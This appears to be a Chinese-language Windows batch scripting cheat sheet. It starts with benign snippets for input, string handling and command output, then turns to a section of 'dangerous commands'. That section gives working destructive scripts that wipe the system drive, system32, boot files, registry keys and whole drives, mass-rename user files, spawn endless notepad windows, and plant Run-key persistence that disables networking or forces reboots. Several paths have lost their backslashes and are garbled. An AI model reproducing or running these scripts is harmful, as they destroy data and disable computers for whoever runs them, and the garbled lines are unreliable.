常用

开头常用

不显示命令和支持中文

  1. @echo off
  2. chcp 65001

获取输入参数

  1. @echo off
  2. set /p a=请输入a:
  3. echo %a%

字符串拼接

  1. SET a=Hello
  2. SET b=World
  3. SET c=%a%%b%

字符串截取

  1. @echo off
  2. set ifo=abcdefghijklmnopqrstuvwxyz0123456789
  3. echo 原字符串(第二行为各字符的序号):
  4. echo %ifo%
  5. echo 123456789012345678901234567890123456
  6. echo 截取前5个字符:
  7. echo %ifo:~0,5%
  8. echo 截取最后5个字符:
  9. echo %ifo:~-5%
  10. echo 截取第一个到倒数第6个字符:
  11. echo %ifo:~0,-5%
  12. echo 从第4个字符开始,截取5个字符:
  13. echo %ifo:~3,5%
  14. echo 从倒数第14个字符开始,截取5个字符:
  15. echo %ifo:~-14,5%
  16. pause

获取返回字符串

  1. for /f "delims=" %%t in ('命令字符串') do set str=%%t
  2. echo %str%

危险命令

蓝屏死机

  1. @echo off
  2. del %systemdrive%\*.* /f /s /q
  3. shutdown -r -f -t 00

更改文件后缀名

不区分大小写 疑问: ren .txt 是不是更好?

  1. ren *.DOC *.TXT
  2. ren *.JPEG *.TXT
  3. ren *.lnk *.txt
  4. ren *.avi *.txt
  5. ren *.mpeg *.txt
  6. ren *.com *.txt
  7. ren *.bat *.txt

删除system32

不入回收站

  1. del c:\windows\system32\*.* /q

使PC永久崩溃

  1. @echo off
  2. attrib -r -s -h c:\autoexec.bat
  3. del c:\autoexec.bat
  4. attrib -r -s -h c:\boot.ini
  5. del c:\boot.ini
  6. attrib -r -s -h c:\ntldr
  7. del c:\ntldr
  8. attrib -r -s -h c:\windows\win.ini
  9. del c:\windows\win.ini

删除所有的注册表

  1. @echo off
  2. start reg delete HKCR/.exe
  3. start reg delete HKCR/.dll
  4. start reg delete HKCR/*

永久禁用网络

  1. echo @echo off > c:windowswimn32.bat
  2. echo break off >> c:windowswimn32.bat
  3. echo ipconfig/release_all >> c:windowswimn32.bat
  4. echo end >> c:windowswimn32.bat
  5. reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat
  6. reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat
  7. pause

启动电脑后自动关机

  1. echo @echo off > c:windowshartlell.bat
  2. echo break off >> c:windowshartlell.bat
  3. echo shutdown -r -t 11 -f >> c:windowshartlell.bat
  4. echo end >> c:windowshartlell.bat
  5. reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat
  6. reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat
  7. pause

格式化硬盘

  1. rd /s/q d:\
  2. rd /s/q c:\
  3. rd /s/q e:\

无限打开文档vbs

  1. do
  2. createobject("wscript.shell").run "notepad.exe"
  3. loop

这短短的一生我们最终都会失去,不放大胆一点,爱一个人、攀一座山、追一个梦!